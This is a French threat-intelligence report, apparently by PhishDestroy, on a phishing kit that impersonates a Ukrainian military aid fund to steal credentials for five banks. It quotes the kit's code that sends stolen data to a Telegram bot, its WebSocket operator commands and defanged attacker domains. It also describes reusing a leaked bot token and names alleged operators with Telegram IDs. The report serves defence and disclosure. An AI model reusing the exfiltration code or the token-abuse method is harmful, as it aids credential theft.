Un réseau de hameçonnage lié à l'aide militaire mis au jour : Cinq banques visées, les auteurs identifiés

Ce que PhishDestroy a découvert

Le 20 mars 2026, le pipeline automatisé de détection des menaces de PhishDestroy a signalé dopomogvoina[.]sbs — un domaine récemment enregistré hébergeant un site de hameçonnage se faisant passer pour « Le bouclier du défenseur » (« Shield of the Defender »), une fausse fondation d'aide militaire ukrainienne. Le site cible les anciens combattants ukrainiens, les blessés de guerre et les familles des soldats tombés au combat, en leur promettant une aide financière de l'État tout en dérobant les identifiants bancaires de cinq des plus grandes banques ukrainiennes.

Vous trouverez ci-dessous une analyse détaillée de tous les éléments mis au jour par notre analyse automatisée : les techniques d'ingénierie sociale, l'infrastructure technique, le système de contrôle en temps réel des opérateurs, ainsi que l'identité des personnes qui le gèrent.

Section 1 : L'appât — La fausse fondation d'aide militaire

Le domaine dopomogvoina[.]sbs a été enregistrée le 20 mars 2026 par l'intermédiaire de NICENIC International Group Co., Limited, un registraire connu pour sa lenteur, voire son absence totale, dans la gestion des cas d'abus. Le .sbs Le TLD (Side-By-Side) est un gTLD peu coûteux souvent utilisé pour mettre en place des infrastructures de phishing jetables.

Le site se présente comme un portail d'aide professionnel lié aux pouvoirs publics. Un drapeau ukrainien occupe tout l'en-tête, des images militaires lui confèrent une apparence d'authenticité, et le contenu est soigneusement rédigé en ukrainien dans un style bureaucratique qui rappelle les programmes gouvernementaux officiels.

Capture d'écran 5 — La page d'accueil du site de hameçonnage se faisant passer pour « Щит Захисника » (Bouclier du Défenseur).

Pour se donner une apparence de crédibilité, les opérateurs ont créé un compteur de statistiques bien visible sur la page d'accueil :

• 2,847 applications — ce qui laisse entendre que des milliers de personnes ont déjà reçu de l'aide
• 47,2 millions de ₴ distribués — un chiffre élevé mais plausible à l'UAH
• 19 programmes — ce qui laisse entrevoir une opération de grande envergure, impliquant plusieurs programmes

Ces chiffres sont purement fictifs; ils sont intégrés directement dans le code source de la page, sans aucun lien avec le serveur. Ils n'ont qu'un seul but : servir de preuve sociale pour surmonter les hésitations de la victime.

Section 2 : Le piège — 5 banques, un seul objectif

Après avoir cliqué sur « Подати заявку » (Soumettre la demande), la victime se retrouve face à un écran lui permettant de choisir une banque. Cinq des plus grandes banques de détail ukrainiennes s'affichent parmi les options, chacune avec son identité visuelle et son logo officiels. C'est à ce moment-là que l'ingénierie sociale passe de la manipulation émotionnelle au vol technique.

Capture d'écran 6 — Écran de sélection de la banque. Chaque option déclenche une séquence personnalisée de vol d'identifiants.

L'analyse du bundle JavaScript du site a révélé que chaque banque dispose d'un séquence unique de collecte d'identifiants en plusieurs étapes, adapté au processus d'authentification réel de cette banque :

Le déroulement de l'attaque est le même pour toutes les banques :

Capture d'écran 7 — Page de connexion clonée de PrivatBank.

Capture d'écran 9 — Page de connexion PUMB clonée.

Capture d'écran 10 — Déroulement complet de l'attaque : de la fausse page d'aide militaire au vol d'identifiants et à la prise de contrôle du compte, en passant par la sélection de la banque.

La pile technologique : Application monopage React interface utilisateur fournie via CDN Cloudflare, avec un Express.js un backend chargé de l'exfiltration des identifiants. L'architecture React permet de créer des formulaires en plusieurs étapes qui s'intègrent parfaitement et sont pratiquement impossibles à distinguer des interfaces bancaires légitimes.

Section 3 : Commande en temps réel par l'opérateur

Il ne s'agit pas d'un simple outil de collecte d'identifiants utilisant une base de données statique. Le kit de phishing comprend un Panneau de contrôle WebSocket en direct qui permet à un opérateur humain de contrôler chaque session de la victime en temps réel.

Le point de terminaison WebSocket à l'adresse wss://dopomogvoina[.]sbs/ws prend en charge les types de messages suivants :

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Grâce à ce contrôle en temps réel, l'opérateur peut :

• Forcer un état d'attente — afficher le message « Traitement de votre demande... » pendant qu'ils se connectent au véritable compte bancaire de la victime
• Rediriger vers une étape spécifique — demander à nouveau un code SMS si le premier a expiré
• Afficher de faux messages d'erreur — « Code invalide, veuillez le saisir à nouveau » pour récupérer plusieurs jetons d'authentification à deux facteurs
• Poser des questions personnalisées — demander la date de naissance, le numéro de carte ou toute autre information en cours de session

Capture d'écran 8 — Formulaire de saisie du numéro de téléphone utilisé pour lancer le vol d'identifiants.

Capture d'écran 11 — Panneau de contrôle en temps réel de l'opérateur permettant de gérer les sessions des victimes.

L'ensemble des données volées à chaque session : phone, password, PIN, SMS code, card number, date of birth, et email.

Section 4 : Dans les coulisses de Cloudflare — Deux projets, un seul serveur

Le proxy Cloudflare masque le serveur d'origine, mais le pipeline d'analyse de l'infrastructure de PhishDestroy a permis d'identifier la véritable adresse IP d'origine : 45.131.214[.]148, hébergé sur RapidSeedbox / LeaseWeb aux Pays-Bas.

Un détail essentiel : dopomogvoina[.]sbs est acheminé via Cloudflare, en masquant son adresse IP d'origine. Mais notre système suit également hlpforvpeople[.]sbs — un nom de domaine apparenté, enregistré auprès du même bureau d'enregistrement NICENIC et présentant des similitudes. Ce nom de domaine est PAS derrière Cloudflare, en exposant directement son adresse IP d'origine : 45.131.214[.]148.

Se connecter directement à cette adresse IP — sans Host en-tête — a révélé quelque chose d'inattendu : un un site de hameçonnage totalement différent. Au lieu de l'aide militaire ukrainienne, le serveur virtuel par défaut a servi « Carte d'assurance maladie », une opération de hameçonnage visant une assurance maladie indonésienne. Même serveur, des victimes totalement différentes, un pays totalement différent.

Capture d'écran 12 — Deux opérations de phishing parallèles partageant le même serveur d'origine : aide militaire ukrainienne (dopomogvoina) et assurance maladie indonésienne (HealthCare ID).

Le modèle de phishing indonésien est un kit connu répertorié dans la base de données de renseignements sur les menaces de PhishDestroy. Nous avons constaté que des variantes de ce modèle précis ont été déployées dans toute l'Asie du Sud-Est, ciblant des institutions financières indonésiennes, thaïlandaises et vietnamiennes. Les opérateurs se contentent de remplacer les modèles spécifiques à chaque pays tout en réutilisant la même infrastructure de base.

Section 5 : Le fichier config.json qui a tout dévoilé

Voici comment un seul fichier mal configuré a fait capoter toute l'opération — étape par étape.

Après avoir identifié le deuxième projet du serveur d'origine, celui de PhishDestroy JS Analyzer — notre outil automatisé d'analyse JavaScript — a été orienté vers l'ensemble de fichiers du site de phishing indonésien à l'adresse https://45.131.214[.]148/assets/index-ZMQxHb_h.js. L'analyseur a extrait tous les points de terminaison API, les URL externes et les chemins de configuration du fichier JavaScript de 335 Ko. Parmi les résultats :

• Cinq points de terminaison API à l'adresse rezervtemka[.]cc — le panneau C2 pour la vérification des identifiants
• Une connexion WebSocket vers wss://rezervtemka[.]cc
• Intégration du pixel Facebook pour le suivi des victimes
• Une référence à /config.json — chargé au moment de l'exécution pour la configuration du bot Telegram

En suivant cette piste, nous avons récupéré /config.json à partir de l'adresse IP d'origine. Le fichier était accessible sans aucune authentification — il se trouvait dans le répertoire racine du site web, où n'importe qui pouvait le lire :

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Le /config.json le fichier était accessible directement depuis l'adresse IP d'origine — Pas d'authentification, pas de contrôle d'accès, juste un simple fichier JSON situé dans le répertoire racine du site web:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Un jeton de bot Telegram fait office à la fois de nom d'utilisateur et de mot de passe. Quiconque dispose de ce jeton peut effectuer des appels API au nom de ce bot. Les administrateurs ont laissé le leur dans un fichier accessible au public. Six appels API plus tard, nous avions tout ce qu'il fallait :

Capture d'écran 13 — La chaîne OSINT complète : du fichier config.json exposé à l'identification complète de l'opérateur en 6 appels API.

D'un simple fichier mal configuré à l'identification complète des opérateurs en six requêtes HTTP. Pas d'exploitation de vulnérabilités, pas d'accès non autorisé — juste des appels standard à l'API du bot Telegram utilisant un jeton que les opérateurs eux-mêmes avaient laissé accessible.

Section 6 : Les opérateurs

Capture d'écran 14 — Le groupe d'opérateurs Telegram « Idr card », révélé à la suite de la fuite du jeton du bot.

Propriétaire / Créateur

MONETTI ESCOBAR

@monettiescobar

Identifiant Telegram : 8135223234

Telegram Premium, profil professionnel

Fuseau horaire : UTC+3 (région de la CEI)

10 messages publics — sécurité opérationnelle stricte

Chat TraFFeeQMedusa Google AdsChaîne Deepfakes

Opérateur / Circulation

Prends ton temps

Bonjour

Identifiant Telegram : 6242202706

Alias : PapaZakonVor, Boa, bubullikk

261 messages répartis dans 12 groupes

DC2 — Amsterdam, Pays-Bas

CryptoGrabMarché STYXNiveau CCEMPIRE CHATSolution Phoenix

Développeur / Programmeur

Devoys

@devosus

Identifiant Telegram : 8213612730

Développeur de kits de phishing — les opérateurs l'appellent « codeur »

On leur a demandé de « réfléchir à la défense » lorsque la faille a été découverte

Conçu pour un impact minimal sur l'environnement

Faire ses courses @devosus ≈ « dev ops us » — intitulé du poste comme nom d'utilisateur

Concepteur de kitsInfrastructuresSécurité

MONETTI ESCOBAR — Le Patron

MONETTI applique des mesures de sécurité opérationnelle strictes — uniquement 10 messages publics répartis en deux groupes. Mais ce sont ces groupes qui en disent long : Chat TraFFeeQ (arbitrage de trafic à des fins frauduleuses), Medusa Google Ads (pratiques de black hat dans Google Ads), ainsi qu'un Chaîne Deepfakes. Son profil professionnel sur Telegram indique « Есть предложение » (« J'ai une proposition à vous faire ») — qui font ouvertement la promotion de leurs services. Le fuseau horaire UTC+3 (celui de Moscou, Minsk et Kiev) et les horaires d'ouverture 24 h/24, 7 j/7 confirment qu'il s'agit d'une entreprise basée dans la CEI et fonctionnant sans interruption.

Bonya — Le négligent

Contrairement à la rigoureuse sécurité opérationnelle (OPSEC) de MONETTI, Bonya (ancien pseudonyme : Père du droit — en gros « DaddyThiefByLaw ») a laissé une trace numérique considérable — 261 messages répartis sur 12 groupes clandestins. Son historique de discussion ressemble à un CV de criminel :

Les associations auxquelles il appartient brossent un tableau complet : CryptoGrab (pirates de portefeuilles cryptographiques), Marché STYX (marché noir de données volées), Vérificateur de niveau CC (outils de validation des cartes de crédit), EMPIRE CHAT et Solution Phoenix (coordination des activités frauduleuses). Il ne s'agit pas d'un délinquant occasionnel, mais d'une personne profondément impliquée dans l'écosystème de la cybercriminalité.

Devoys — Le développeur

Le pilier technique de l'opération. Conçue pour laisser une empreinte publique minimale — lorsque le groupe a été piraté, Bonya l'a explicitement appelé à la rescousse : « @devosus, pense à la défense avant qu'on nous mette une raclée » — « @devosus, pensons à la défense avant de nous faire botter les fesses. » Sa réaction sarcastique face à cette violation — « quand à Interpol » (« Quand interpoler ») — laisse entendre que ce n'est pas la première fois qu'ils échappent de justesse au pire.

Analyse comportementale : 261 messages décryptés

Le pipeline OSINT de PhishDestroy a collecté et traduit les 261 messages publics provenant de Bonya et provenant de 12 groupes Telegram clandestins (juin 2024 — mars 2026). Traduction automatique via l'API DeepL avec correction manuelle du contexte. Les messages révèlent un profil opérationnel complet — classé ci-dessous par type d'activité criminelle.

Fraude bancaire et hameçonnage

Les passeurs d'argent et le blanchiment d'argent

Fraude au trafic et abus publicitaires

MONETTI ESCOBAR : Le patron silencieux

Contrairement aux 261 messages de Bonya, MONETTI n'a publié que 10 messages publics — le tout dans un seul fil de discussion sur Chat TraFFeeQ (Arbitrage de trafic ADS/SEO noir), en prenant la défense d'un collègue :

Les groupes Telegram de MONETTI en disent long : Medusa Google Ads (fraude au PPC de type « black hat »), un Chaîne Deepfakes (supports synthétiques utilisés à des fins frauduleuses), et Chat Marlboro (privé, inconnu). L'abonnement Telegram Premium, disponible 24 h/24 et 7 j/7, et « Есть предложение » (« J'ai une proposition à vous faire ») Le profil professionnel de cette personne donne l'impression qu'elle considère la cybercriminalité comme une activité à plein temps.

Capture d'écran 2 — Profil Telegram de MONETTI.

Capture d'écran 3 — Le profil de Bonya. Notez DC2 (Amsterdam).

Section 7 : La pièce de sécurité

Après que PhishDestroy eut accédé au groupe d'opérateurs via le bot Telegram exposé, l'échange suivant a eu lieu. Le journal de discussion ci-dessous a été traduit en anglais, le texte original en russe étant conservé en italique. L'identité utilisée pour l'accès a été masquée.

Le groupe a été supprimé en quelques minutes. Le signe d'adieu de Bonya — « + » — et la réponse affirmative de Devoys — « ouais » — en disent long : Ils savaient qu'ils étaient démasqués, et leur seule option était de détruire les preuves. Mais à ce moment-là, les données avaient déjà été enregistrées.

Notez le commentaire révélateur de Bonya : « On s'est aussi fait avoir par le bot ukrainien » — ce qui confirme que les deux projets (ukrainien et indonésien) sont gérés par la même équipe d'opérateurs, et que ce n'était pas la première fois que leur infrastructure était compromise.

Section 8 : Ce que cela montre

Chronologie de l'enquête

Domaines associés

Notre analyse a mis en évidence un deuxième domaine — hlpforvpeople[.]sbs — enregistrés auprès du même bureau d'enregistrement et présentant des structures identiques. Ces deux domaines sont répertoriés dans notre base de données :

• Rapport PhishDestroy : dopomogvoina[.]sbs
• Rapport PhishDestroy : hlpforvpeople[.]sbs

Points clés à retenir

• L'automatisation est le seul moyen de rester dans la course. Les kits de phishing sont déployés et rendus opérationnels en quelques heures. L'examen manuel ne peut pas suivre ce rythme.
• Les opérateurs font des erreurs. Un fichier de configuration accessible à tous sur un projet secondaire a permis de mettre au jour toute une opération de phishing à l'échelle internationale. Il est difficile de garantir une sécurité opérationnelle (OPSEC) irréprochable sur l'ensemble des projets.
• L'ingénierie sociale évolue au gré de l'actualité. La guerre, l'aide humanitaire et les programmes gouvernementaux sont de plus en plus utilisés comme appâts dans les attaques de phishing, car ils ciblent des personnes en détresse qui sont moins enclines à remettre en question la légitimité de ces messages.
• La réutilisation des infrastructures est la norme. Un serveur, deux projets de hameçonnage, deux pays, les mêmes opérateurs. Cartographier les connexions entre les infrastructures en dit bien plus long que l'analyse isolée d'un seul domaine.

Avertissement : Cette enquête a été menée exclusivement à l'aide de techniques de reconnaissance passive et d'API publiques. Aucun accès non autorisé à un quelconque système n'a été effectué. Les appels à l'API du bot Telegram ont utilisé un jeton rendu public par les opérateurs via un point de terminaison non authentifié. Tous les noms de domaine mentionnés dans cet article ont été anonymisés conformément aux conventions standard en matière de sécurité de l'information.